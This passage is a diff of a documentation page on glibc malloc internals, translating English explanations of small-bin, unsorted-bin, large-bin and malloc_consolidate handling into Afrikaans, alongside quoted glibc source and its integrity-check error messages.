+if (__glibc_unlikely (misaligned_chunk (tc_victim)))
+malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
+if (SINGLE_THREAD_P)
+*fb = REVEAL_PTR (tc_victim->fd);
+else
+{
+REMOVE_FB (fb, pp, tc_victim);
+if (__glibc_unlikely (tc_victim == NULL))
+break;
+}
+tcache_put (tc_victim, tc_idx);
+}
+}
#endif
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
- }
- }
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
+}
+}
```
-
### Small Bin
-As indicated in a comment, small bins hold one size per index, therefore checking if a valid chunk is available is super fast, so after fast bins, small bins are checked.
+Soos in ’n opmerking aangedui, bevat small bins een grootte per indeks; daarom is dit baie vinnig om te kontroleer of ’n geldige chunk beskikbaar is, en small bins word ná fast bins nagegaan.
-The first check is to find out if the requested size could be inside a small bin. In that case, get the corresponded **index** inside the smallbin and see if there is **any available chunk**.
+Die eerste kontrole bepaal of die aangevraagde grootte aan ’n small bin behoort. Indien wel, verkry die allocator die ooreenstemmende **small-bin index** en kontroleer dit vir ’n **available chunk**.
-Then, a security check is performed checking:
+Daarna word ’n sekuriteitskontrole uitgevoer wat nagaan:
-- if `victim->bk->fd = victim`. To see that both chunks are correctly linked.
+- of `victim->bk->fd = victim`. Om te verseker dat albei chunks korrek gekoppel is.
-In that case, the chunk **gets the `inuse` bit,** the doubled linked list is fixed so this chunk disappears from it (as it's going to be used), and the non main arena bit is set if needed.
+Die chunk ontvang dan die `inuse`-bit, word van die doubly linked list ontkoppel, en ontvang die non-main-arena-bit wanneer toepaslik.
-Finally, **fill the tcache index of the requested size** with other chunks inside the small bin (if any).
+Laastens word die **tcache index van die aangevraagde grootte** gevul met ander chunks binne die small bin (indien enige).
_int_malloc small bin
-
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6
/*
- If a small request, check regular bin. Since these "smallbins"
- hold one size each, no searching within bins is necessary.
- (For a large request, we need to wait until unsorted chunks are
- processed to find best fit. But for small ones, fits are exact
- anyway, so we can check now, which is faster.)
- */
-
- if (in_smallbin_range (nb))
- {
- idx = smallbin_index (nb);
- bin = bin_at (av, idx);
-
- if ((victim = last (bin)) != bin)
- {
- bck = victim->bk;
- if (__glibc_unlikely (bck->fd != victim))
- malloc_printerr ("malloc(): smallbin double linked list corrupted");
- set_inuse_bit_at_offset (victim, nb);
- bin->bk = bck;
- bck->fd = bin;
-
- if (av != &main_arena)
- set_non_main_arena (victim);
- check_malloced_chunk (av, victim, nb);
+If a small request, check regular bin. Since these "smallbins"
+hold one size each, no searching within bins is necessary.
+(For a large request, we need to wait until unsorted chunks are
+processed to find best fit. But for small ones, fits are exact
+anyway, so we can check now, which is faster.)
+*/
+
+if (in_smallbin_range (nb))
+{
+idx = smallbin_index (nb);
+bin = bin_at (av, idx);
+
+if ((victim = last (bin)) != bin)
+{
+bck = victim->bk;
+if (__glibc_unlikely (bck->fd != victim))
+malloc_printerr ("malloc(): smallbin double linked list corrupted");
+set_inuse_bit_at_offset (victim, nb);
+bin->bk = bck;
+bck->fd = bin;
+
+if (av != &main_arena)
+set_non_main_arena (victim);
+check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
- /* While we're here, if we see other chunks of the same size,
- stash them in the tcache. */
- size_t tc_idx = csize2tidx (nb);
- if (tcache != NULL && tc_idx < mp_.tcache_bins)
- {
- mchunkptr tc_victim;
-
- /* While bin not empty and tcache not full, copy chunks over. */
- while (tcache->counts[tc_idx] < mp_.tcache_count
- && (tc_victim = last (bin)) != bin)
- {
- if (tc_victim != 0)
- {
- bck = tc_victim->bk;
- set_inuse_bit_at_offset (tc_victim, nb);
- if (av != &main_arena)
- set_non_main_arena (tc_victim);
- bin->bk = bck;
- bck->fd = bin;
-
- tcache_put (tc_victim, tc_idx);
- }
- }
- }
+/* While we're here, if we see other chunks of the same size,
+stash them in the tcache. */
+size_t tc_idx = csize2tidx (nb);
+if (tcache != NULL && tc_idx < mp_.tcache_bins)
+{
+mchunkptr tc_victim;
+
+/* While bin not empty and tcache not full, copy chunks over. */
+while (tcache->counts[tc_idx] < mp_.tcache_count
+&& (tc_victim = last (bin)) != bin)
+{
+if (tc_victim != 0)
+{
+bck = tc_victim->bk;
+set_inuse_bit_at_offset (tc_victim, nb);
+if (av != &main_arena)
+set_non_main_arena (tc_victim);
+bin->bk = bck;
+bck->fd = bin;
+
+tcache_put (tc_victim, tc_idx);
+}
+}
+}
#endif
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
- }
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
+}
```
-
### malloc_consolidate
-If it wasn't a small chunk, it's a large chunk, and in this case **`malloc_consolidate`** is called to avoid memory fragmentation.
+As dit nie 'n small chunk was nie, is dit 'n large chunk, en in hierdie geval word **`malloc_consolidate`** geroep om geheuefragmentasie te voorkom.
malloc_consolidate call
-
```c
/*
- If this is a large request, consolidate fastbins before continuing.
- While it might look excessive to kill all fastbins before
- even seeing if there is space available, this avoids
- fragmentation problems normally associated with fastbins.
- Also, in practice, programs tend to have runs of either small or
- large requests, but less often mixtures, so consolidation is not
- invoked all that often in most programs. And the programs that
- it is called frequently in otherwise tend to fragment.
- */
-
- else
- {
- idx = largebin_index (nb);
- if (atomic_load_relaxed (&av->have_fastchunks))
- malloc_consolidate (av);
- }
+If this is a large request, consolidate fastbins before continuing.
+While it might look excessive to kill all fastbins before
+even seeing if there is space available, this avoids
+fragmentation problems normally associated with fastbins.
+Also, in practice, programs tend to have runs of either small or
+large requests, but less often mixtures, so consolidation is not
+invoked all that often in most programs. And the programs that
+it is called frequently in otherwise tend to fragment.
+*/
+
+else
+{
+idx = largebin_index (nb);
+if (atomic_load_relaxed (&av->have_fastchunks))
+malloc_consolidate (av);
+}
```
-
-The malloc consolidate function basically removes chunks from the fast bin and places them into the unsorted bin. After the next malloc these chunks will be organized in their respective small/fast bins.
+Die malloc consolidate-funksie verwyder basies chunks uit die fast bin en plaas hulle in die unsorted bin. Ná die volgende malloc sal hierdie chunks in hul onderskeie small/fast bins georganiseer word.
-Note that if while removing these chunks, if they are found with previous or next chunks that aren't in use they will be **unliked and merged** before placing the final chunk in the **unsorted** bin.
+Terwyl hierdie chunks verwyder word, word aangrensende free chunks **unlinked en saamgevoeg** voordat die resulterende chunk in die **unsorted bin** geplaas word.
-For each fast bin chunk a couple of security checks are performed:
+Vir elke fast bin chunk word ’n paar security checks uitgevoer:
-- If the chunk is unaligned trigger: `malloc_consolidate(): unaligned fastbin chunk detected`
-- If the chunk has a different size that the one it should because of the index it's in: `malloc_consolidate(): invalid chunk size`
-- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by `prev_chunk`: `corrupted size vs. prev_size in fastbins`
+- As die chunk nie aligned is nie, word die volgende fout geaktiveer: `malloc_consolidate(): unaligned fastbin chunk detected`
+- As die chunk ’n ander grootte het as die grootte wat dit volgens die index waarin dit is behoort te hê: `malloc_consolidate(): invalid chunk size`
+- As die vorige chunk nie in gebruik is nie en die vorige chunk ’n ander grootte het as die grootte wat deur `prev_chunk` aangedui word: `corrupted size vs. prev_size in fastbins`
malloc_consolidate function
-
```c
// https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2
static void malloc_consolidate(mstate av)
{
- mfastbinptr* fb; /* current fastbin being consolidated */
- mfastbinptr* maxfb; /* last fastbin (for loop control) */
- mchunkptr p; /* current chunk being consolidated */
- mchunkptr nextp; /* next chunk to consolidate */
- mchunkptr unsorted_bin; /* bin header */
- mchunkptr first_unsorted; /* chunk to link to */
-
- /* These have same use as in free() */
- mchunkptr nextchunk;
- INTERNAL_SIZE_T size;
- INTERNAL_SIZE_T nextsize;
- INTERNAL_SIZE_T prevsize;
- int nextinuse;
-
- atomic_store_relaxed (&av->have_fastchunks, false);
-
- unsorted_bin = unsorted_chunks(av);
-
- /*
- Remove each chunk from fast bin and consolidate it, placing it
- then in unsorted bin. Among other reasons for doing this,
- placing in unsorted bin avoids needing to calculate actual bins
- until malloc is sure that chunks aren't immediately going to be
- reused anyway.
- */
-
- maxfb = &fastbin (av, NFASTBINS - 1);
- fb = &fastbin (av, 0);
- do {
- p = atomic_exchange_acquire (fb, NULL);
- if (p != 0) {
- do {
- {
- if (__glibc_unlikely (misaligned_chunk (p)))
- malloc_printerr ("malloc_consolidate(): "
- "unaligned fastbin chunk detected");
-
- unsigned int idx = fastbin_index (chunksize (p));
- if ((&fastbin (av, idx)) != fb)
- malloc_printerr ("malloc_consolidate(): invalid chunk size");
- }
-
- check_inuse_chunk(av, p);
- nextp = REVEAL_PTR (p->fd);
-
- /* Slightly streamlined version of consolidation code in free() */
- size = chunksize (p);
- nextchunk = chunk_at_offset(p, size);
- nextsize = chunksize(nextchunk);
-
- if (!prev_inuse(p)) {
- prevsize = prev_size (p);
- size += prevsize;
- p = chunk_at_offset(p, -((long) prevsize));
- if (__glibc_unlikely (chunksize(p) != prevsize))
- malloc_printerr ("corrupted size vs. prev_size in fastbins");
- unlink_chunk (av, p);
- }
-
- if (nextchunk != av->top) {
- nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
-
- if (!nextinuse) {
- size += nextsize;
- unlink_chunk (av, nextchunk);
- } else
- clear_inuse_bit_at_offset(nextchunk, 0);
-
- first_unsorted = unsorted_bin->fd;
- unsorted_bin->fd = p;
- first_unsorted->bk = p;
-
- if (!in_smallbin_range (size)) {
- p->fd_nextsize = NULL;
- p->bk_nextsize = NULL;
- }
-
- set_head(p, size | PREV_INUSE);
- p->bk = unsorted_bin;
- p->fd = first_unsorted;
- set_foot(p, size);
- }
-
- else {
- size += nextsize;
- set_head(p, size | PREV_INUSE);
- av->top = p;
- }
-
- } while ( (p = nextp) != 0);
-
- }
- } while (fb++ != maxfb);
+mfastbinptr* fb; /* current fastbin being consolidated */
+mfastbinptr* maxfb; /* last fastbin (for loop control) */
+mchunkptr p; /* current chunk being consolidated */
+mchunkptr nextp; /* next chunk to consolidate */
+mchunkptr unsorted_bin; /* bin header */
+mchunkptr first_unsorted; /* chunk to link to */
+
+/* These have same use as in free() */
+mchunkptr nextchunk;
+INTERNAL_SIZE_T size;
+INTERNAL_SIZE_T nextsize;
+INTERNAL_SIZE_T prevsize;
+int nextinuse;
+
+atomic_store_relaxed (&av->have_fastchunks, false);
+
+unsorted_bin = unsorted_chunks(av);
+
+/*
+Remove each chunk from fast bin and consolidate it, placing it
+then in unsorted bin. Among other reasons for doing this,
+placing in unsorted bin avoids needing to calculate actual bins
+until malloc is sure that chunks aren't immediately going to be
+reused anyway.
+*/
+
+maxfb = &fastbin (av, NFASTBINS - 1);
+fb = &fastbin (av, 0);
+do {
+p = atomic_exchange_acquire (fb, NULL);
+if (p != 0) {
+do {
+{
+if (__glibc_unlikely (misaligned_chunk (p)))
+malloc_printerr ("malloc_consolidate(): "
+"unaligned fastbin chunk detected");
+
+unsigned int idx = fastbin_index (chunksize (p));
+if ((&fastbin (av, idx)) != fb)
+malloc_printerr ("malloc_consolidate(): invalid chunk size");
}
-```
+check_inuse_chunk(av, p);
+nextp = REVEAL_PTR (p->fd);
+
+/* Slightly streamlined version of consolidation code in free() */
+size = chunksize (p);
+nextchunk = chunk_at_offset(p, size);
+nextsize = chunksize(nextchunk);
+
+if (!prev_inuse(p)) {
+prevsize = prev_size (p);
+size += prevsize;
+p = chunk_at_offset(p, -((long) prevsize));
+if (__glibc_unlikely (chunksize(p) != prevsize))
+malloc_printerr ("corrupted size vs. prev_size in fastbins");
+unlink_chunk (av, p);
+}
+
+if (nextchunk != av->top) {
+nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
+
+if (!nextinuse) {
+size += nextsize;
+unlink_chunk (av, nextchunk);
+} else
+clear_inuse_bit_at_offset(nextchunk, 0);
+
+first_unsorted = unsorted_bin->fd;
+unsorted_bin->fd = p;
+first_unsorted->bk = p;
+
+if (!in_smallbin_range (size)) {
+p->fd_nextsize = NULL;
+p->bk_nextsize = NULL;
+}
+
+set_head(p, size | PREV_INUSE);
+p->bk = unsorted_bin;
+p->fd = first_unsorted;
+set_foot(p, size);
+}
+
+else {
+size += nextsize;
+set_head(p, size | PREV_INUSE);
+av->top = p;
+}
+
+} while ( (p = nextp) != 0);
+
+}
+} while (fb++ != maxfb);
+}
+```
### Unsorted bin
-It's time to check the unsorted bin for a potential valid chunk to use.
+Dit is tyd om die unsorted bin na te gaan vir ’n potensieel geldige chunk om te gebruik.
-#### Start
+#### Begin
-This starts with a big for look that will be traversing the unsorted bin in the `bk` direction until it arrives til the end (the arena struct) with `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
+Dit begin met ’n groot loop wat die unsorted bin in die `bk`-rigting sal deurloop totdat dit die einde (die arena struct) bereik met `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
-Moreover, some security checks are perform every time a new chunk is considered:
+Verder word sommige security checks elke keer uitgevoer wanneer ’n nuwe chunk oorweeg word:
-- If the chunk size is weird (too small or too big): `malloc(): invalid size (unsorted)`
-- If the next chunk size is weird (too small or too big): `malloc(): invalid next size (unsorted)`
-- If the previous size indicated by the next chunk differs from the size of the chunk: `malloc(): mismatching next->prev_size (unsorted)`
-- If not `victim->bck->fd == victim` or not `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted`
- - As we are always checking the las one, it's `fd` should be pointing always to the arena struct.
-- If the next chunk isn't indicating that the previous is in use: `malloc(): invalid next->prev_inuse (unsorted)`
+- As die chunk size vreemd is (te klein of te groot): `malloc(): invalid size (unsorted)`
+- As die volgende chunk size vreemd is (te klein of te groot): `malloc(): invalid next size (unsorted)`
+- As die vorige size wat deur die volgende chunk aangedui word, van die chunk se size verskil: `malloc(): mismatching next->prev_size (unsorted)`
+- As nie `victim->bck->fd == victim` of nie `victim->fd == av` (arena) nie: `malloc(): unsorted double linked list corrupted`
+- Omdat die traversal altyd die laaste chunk ondersoek, moet sy `fd` na die arena structure wys.
+- As die volgende chunk nie aandui dat die vorige een in gebruik is nie: `malloc(): invalid next->prev_inuse (unsorted)`
_int_malloc unsorted bin start
-
```c
/*
- Process recently freed or remaindered chunks, taking one only if
- it is exact fit, or, if this a small request, the chunk is remainder from
- the most recent non-exact fit. Place other traversed chunks in
- bins. Note that this step is the only place in any routine where
- chunks are placed in bins.
-
- The outer loop here is needed because we might not realize until
- near the end of malloc that we should have consolidated, so must
- do so and retry. This happens at most once, and only when we would
- otherwise need to expand memory to service a "small" request.
- */
+Process recently freed or remaindered chunks, taking one only if
+it is exact fit, or, if this a small request, the chunk is remainder from
+the most recent non-exact fit. Place other traversed chunks in
+bins. Note that this step is the only place in any routine where
+chunks are placed in bins.
+
+The outer loop here is needed because we might not realize until
+near the end of malloc that we should have consolidated, so must
+do so and retry. This happens at most once, and only when we would
+otherwise need to expand memory to service a "small" request.
+*/
#if USE_TCACHE
- INTERNAL_SIZE_T tcache_nb = 0;
- size_t tc_idx = csize2tidx (nb);
- if (tcache != NULL && tc_idx < mp_.tcache_bins)
- tcache_nb = nb;
- int return_cached = 0;
+INTERNAL_SIZE_T tcache_nb = 0;
+size_t tc_idx = csize2tidx (nb);
+if (tcache != NULL && tc_idx < mp_.tcache_bins)
+tcache_nb = nb;
+int return_cached = 0;
- tcache_unsorted_count = 0;
+tcache_unsorted_count = 0;
#endif
- for (;; )
- {
- int iters = 0;
- while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
- {
- bck = victim->bk;
- size = chunksize (victim);
- mchunkptr next = chunk_at_offset (victim, size);
-
- if (__glibc_unlikely (size <= CHUNK_HDR_SZ)
- || __glibc_unlikely (size > av->system_mem))
- malloc_printerr ("malloc(): invalid size (unsorted)");
- if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
- || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
- malloc_printerr ("malloc(): invalid next size (unsorted)");
- if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
- malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
- if (__glibc_unlikely (bck->fd != victim)
- || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
- malloc_printerr ("malloc(): unsorted double linked list corrupted");
- if (__glibc_unlikely (prev_inuse (next)))
- malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
+for (;; )
+{
+int iters = 0;
+while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
+{
+bck = victim->bk;
+size = chunksize (victim);
+mchunkptr next = chunk_at_offset (victim, size);
+
+if (__glibc_unlikely (size <= CHUNK_HDR_SZ)
+|| __glibc_unlikely (size > av->system_mem))
+malloc_printerr ("malloc(): invalid size (unsorted)");
+if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
+|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
+malloc_printerr ("malloc(): invalid next size (unsorted)");
+if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
+malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
+if (__glibc_unlikely (bck->fd != victim)
+|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
+malloc_printerr ("malloc(): unsorted double linked list corrupted");
+if (__glibc_unlikely (prev_inuse (next)))
+malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
```
-
#### if `in_smallbin_range`
-If the chunk is bigger than the requested size use it, and set the rest of the chunk space into the unsorted list and update the `last_remainder` with it.
+As die chunk groter as die aangevraagde grootte is, gebruik dit, plaas die oorblywende chunk-spasie in die unsorted list en werk die `last_remainder` daarmee by.
_int_malloc unsorted bin in_smallbin_range
-
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14
/*
- If a small request, try to use last remainder if it is the
- only chunk in unsorted bin. This helps promote locality for
- runs of consecutive small requests. This is the only
- exception to best-fit, and applies only when there is
- no exact fit for a small chunk.
- */
-
- if (in_smallbin_range (nb) &&
- bck == unsorted_chunks (av) &&
- victim == av->last_remainder &&
- (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
- {
- /* split and reattach remainder */
- remainder_size = size - nb;
- remainder = chunk_at_offset (victim, nb);
- unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
- av->last_remainder = remainder;
- remainder->bk = remainder->fd = unsorted_chunks (av);
- if (!in_smallbin_range (remainder_size))
- {
- remainder->fd_nextsize = NULL;
- remainder->bk_nextsize = NULL;
- }
-
- set_head (victim, nb | PREV_INUSE |
- (av != &main_arena ? NON_MAIN_ARENA : 0));
- set_head (remainder, remainder_size | PREV_INUSE);
- set_foot (remainder, remainder_size);
-
- check_malloced_chunk (av, victim, nb);
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
+If a small request, try to use last remainder if it is the
+only chunk in unsorted bin. This helps promote locality for
+runs of consecutive small requests. This is the only
+exception to best-fit, and applies only when there is
+no exact fit for a small chunk.
+*/
+
+if (in_smallbin_range (nb) &&
+bck == unsorted_chunks (av) &&
+victim == av->last_remainder &&
+(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
+{
+/* split and reattach remainder */
+remainder_size = size - nb;
+remainder = chunk_at_offset (victim, nb);
+unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
+av->last_remainder = remainder;
+remainder->bk = remainder->fd = unsorted_chunks (av);
+if (!in_smallbin_range (remainder_size))
+{
+remainder->fd_nextsize = NULL;
+remainder->bk_nextsize = NULL;
+}
-```
+set_head (victim, nb | PREV_INUSE |
+(av != &main_arena ? NON_MAIN_ARENA : 0));
+set_head (remainder, remainder_size | PREV_INUSE);
+set_foot (remainder, remainder_size);
+check_malloced_chunk (av, victim, nb);
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
+
+```
-If this was successful, return the chunk ant it's over, if not, continue executing the function...
+As dit slaag, gee die chunk terug; anders gaan voort deur die allocation path.
-#### if equal size
+#### as gelyke grootte
-Continue removing the chunk from the bin, in case the requested size is exactly the one of the chunk:
+Gaan voort deur die chunk uit die bin te verwyder, ingeval die aangevraagde grootte presies dié van die chunk is:
-- If the tcache is not filled, add it to the tcache and continue indicating that there is a tcache chunk that could be used
-- If tcache is full, just use it returning it
+- As die tcache nie vol is nie, voeg dit by die tcache en gaan voort om aan te dui dat daar 'n tcache chunk is wat gebruik kan word
+- As tcache vol is, gebruik dit bloot deur dit terug te gee
-_int_malloc unsorted bin equal size
-
+_int_malloc unsorted bin gelyke grootte
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14
/* remove from unsorted list */
- unsorted_chunks (av)->bk = bck;
- bck->fd = unsorted_chunks (av);
+unsorted_chunks (av)->bk = bck;
+bck->fd = unsorted_chunks (av);
- /* Take now instead of binning if exact fit */
+/* Take now instead of binning if exact fit */
- if (size == nb)
- {
- set_inuse_bit_at_offset (victim, size);
- if (av != &main_arena)
- set_non_main_arena (victim);
+if (size == nb)
+{
+set_inuse_bit_at_offset (victim, size);
+if (av != &main_arena)
+set_non_main_arena (victim);
#if USE_TCACHE
- /* Fill cache first, return to user only if cache fills.
- We may return one of these chunks later. */
- if (tcache_nb > 0
- && tcache->counts[tc_idx] < mp_.tcache_count)
- {
- tcache_put (victim, tc_idx);
- return_cached = 1;
- continue;
- }
- else
- {
+/* Fill cache first, return to user only if cache fills.
+We may return one of these chunks later. */
+if (tcache_nb > 0
+&& tcache->counts[tc_idx] < mp_.tcache_count)
+{
+tcache_put (victim, tc_idx);
+return_cached = 1;
+continue;
+}
+else
+{
#endif
- check_malloced_chunk (av, victim, nb);
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
+check_malloced_chunk (av, victim, nb);
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
#if USE_TCACHE
- }
+}
#endif
- }
+}
```
-
-If chunk not returned or added to tcache, continue with the code...
+As die chunk nie teruggestuur of by tcache gevoeg is nie, gaan voort met die code...
-#### place chunk in a bin
+#### plaas chunk in 'n bin
-Store the checked chunk in the small bin or in the large bin according to the size of the chunk (keeping the large bin properly organized).
+Stoor die nagegane chunk in die small bin of in die large bin volgens die grootte van die chunk (terwyl die large bin behoorlik georganiseer gehou word).
-There are security checks being performed to make sure both large bin doubled linked list are corrupted:
+Sekuriteitskontroles verifieer dat die large bin se twee doubly linked orderings nie beskadig is nie:
- If `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)`
- If `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
-_int_malloc place chunk in a bin
-
+_int_malloc plaas chunk in 'n bin
```c
/* place chunk in bin */
- if (in_smallbin_range (size))
- {
- victim_index = smallbin_index (size);
- bck = bin_at (av, victim_index);
- fwd = bck->fd;
- }
- else
- {
- victim_index = largebin_index (size);
- bck = bin_at (av, victim_index);
- fwd = bck->fd;
-
- /* maintain large bins in sorted order */
- if (fwd != bck)
- {
- /* Or with inuse bit to speed comparisons */
- size |= PREV_INUSE;
- /* if smaller than smallest, bypass loop below */
- assert (chunk_main_arena (bck->bk));
- if ((unsigned long) (size)
- < (unsigned long) chunksize_nomask (bck->bk))
- {
- fwd = bck;
- bck = bck->bk;
-
- victim->fd_nextsize = fwd->fd;
- victim->bk_nextsize = fwd->fd->bk_nextsize;
- fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
- }
- else
- {
- assert (chunk_main_arena (fwd));
- while ((unsigned long) size < chunksize_nomask (fwd))
- {
- fwd = fwd->fd_nextsize;
- assert (chunk_main_arena (fwd));
- }
-
- if ((unsigned long) size
- == (unsigned long) chunksize_nomask (fwd))
- /* Always insert in the second position. */
- fwd = fwd->fd;
- else
- {
- victim->fd_nextsize = fwd;
- victim->bk_nextsize = fwd->bk_nextsize;
- if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
- malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
- fwd->bk_nextsize = victim;
- victim->bk_nextsize->fd_nextsize = victim;
- }
- bck = fwd->bk;
- if (bck->fd != fwd)
- malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
- }
- }
- else
- victim->fd_nextsize = victim->bk_nextsize = victim;
- }
-
- mark_bin (av, victim_index);
- victim->bk = bck;
- victim->fd = fwd;
- fwd->bk = victim;
- bck->fd = victim;
-```
+if (in_smallbin_range (size))
+{
+victim_index = smallbin_index (size);
+bck = bin_at (av, victim_index);
+fwd = bck->fd;
+}
+else
+{
+victim_index = largebin_index (size);
+bck = bin_at (av, victim_index);
+fwd = bck->fd;
+
+/* maintain large bins in sorted order */
+if (fwd != bck)
+{
+/* Or with inuse bit to speed comparisons */
+size |= PREV_INUSE;
+/* if smaller than smallest, bypass loop below */
+assert (chunk_main_arena (bck->bk));
+if ((unsigned long) (size)
+< (unsigned long) chunksize_nomask (bck->bk))
+{
+fwd = bck;
+bck = bck->bk;
+
+victim->fd_nextsize = fwd->fd;
+victim->bk_nextsize = fwd->fd->bk_nextsize;
+fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
+}
+else
+{
+assert (chunk_main_arena (fwd));
+while ((unsigned long) size < chunksize_nomask (fwd))
+{
+fwd = fwd->fd_nextsize;
+assert (chunk_main_arena (fwd));
+}
+
+if ((unsigned long) size
+== (unsigned long) chunksize_nomask (fwd))
+/* Always insert in the second position. */
+fwd = fwd->fd;
+else
+{
+victim->fd_nextsize = fwd;
+victim->bk_nextsize = fwd->bk_nextsize;
+if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
+malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
+fwd->bk_nextsize = victim;
+victim->bk_nextsize->fd_nextsize = victim;
+}
+bck = fwd->bk;
+if (bck->fd != fwd)
+malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
+}
+}
+else
+victim->fd_nextsize = victim->bk_nextsize = victim;
+}
+mark_bin (av, victim_index);
+victim->bk = bck;
+victim->fd = fwd;
+fwd->bk = victim;
+bck->fd = victim;
+```
-#### `_int_malloc` limits
+#### `_int_malloc`-limiete
-At this point, if some chunk was stored in the tcache that can be used and the limit is reached, just **return a tcache chunk**.
+Op hierdie punt, indien enige chunk in die tcache gestoor is wat gebruik kan word en die limiet bereik is, **return tcache chunk**.
-Moreover, if **MAX_ITERS** is reached, break from the loop for and get a chunk in a different way (top chunk).
+Verder, indien **MAX_ITERS** bereik word, breek uit die for-lus en kry ’n chunk op ’n ander manier (top chunk).
-If `return_cached` was set, just return a chunk from the tcache to avoid larger searches.
+Indien `return_cached` gestel is, return eenvoudig ’n chunk uit die tcache om groter soektogte te vermy.
-_int_malloc limits
-
+_int_malloc-limiete
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7
#if USE_TCACHE
- /* If we've processed as many chunks as we're allowed while
- filling the cache, return one of the cached ones. */
- ++tcache_unsorted_count;
- if (return_cached
- && mp_.tcache_unsorted_limit > 0
- && tcache_unsorted_count > mp_.tcache_unsorted_limit)
- {
- return tcache_get (tc_idx);
- }
+/* If we've processed as many chunks as we're allowed while
+filling the cache, return one of the cached ones. */
+++tcache_unsorted_count;
+if (return_cached
+&& mp_.tcache_unsorted_limit > 0
+&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
+{
+return tcache_get (tc_idx);
+}
#endif
#define MAX_ITERS 10000
- if (++iters >= MAX_ITERS)
- break;
- }
+if (++iters >= MAX_ITERS)
+break;
+}
#if USE_TCACHE
- /* If all the small chunks we found ended up cached, return one now. */
- if (return_cached)
- {
- return tcache_get (tc_idx);
- }
+/* If all the small chunks we found ended up cached, return one now. */
+if (return_cached)
+{
+return tcache_get (tc_idx);
+}
#endif
```
-
-If limits not reached, continue with the code...
+Indien limiete nie bereik is nie, gaan voort met die code...
-### Large Bin (by index)
+### Large Bin (volgens indeks)
-If the request is large (not in small bin) and we haven't yet returned any chunk, get the **index** of the requested size in the **large bin**, check if **not empty** of if the **biggest chunk in this bin is bigger** than the requested size and in that case find the **smallest chunk that can be used** for the requested size.
+Indien die versoek groot is (nie in small bin nie) en ons nog geen chunk teruggestuur het nie, kry die **indeks** van die aangevraagde grootte in die **large bin**, kyk of dit **nie leeg** is nie, of **die grootste chunk in hierdie bin groter** as die aangevraagde grootte is, en vind in daardie geval die **kleinste chunk wat vir die aangevraagde grootte gebruik kan word**.
-If the reminder space from the finally used chunk can be a new chunk, add it to the unsorted bin and the lsast_reminder is updated.
+Indien die oorblyfsel van die geselekteerde chunk groot genoeg is om ’n chunk te vorm, voeg dit by die unsorted bin en werk `last_remainder` by.
-A security check is made when adding the reminder to the unsorted bin:
+’n Sekuriteitskontrole word uitgevoer wanneer die oorblyfsel by die unsorted bin gevoeg word:
- `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
-_int_malloc Large bin (by index)
-
+_int_malloc Large bin (volgens indeks)
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10
/*
- If a large request, scan through the chunks of current bin in
- sorted order to find smallest that fits. Use the skip list for this.
- */
-
- if (!in_smallbin_range (nb))
- {
- bin = bin_at (av, idx);
-
- /* skip scan if empty or largest chunk is too small */
- if ((victim = first (bin)) != bin
- && (unsigned long) chunksize_nomask (victim)
- >= (unsigned long) (nb))
- {
- victim = victim->bk_nextsize;
- while (((unsigned long) (size = chunksize (victim)) <
- (unsigned long) (nb)))
- victim = victim->bk_nextsize;
-
- /* Avoid removing the first entry for a size so that the skip
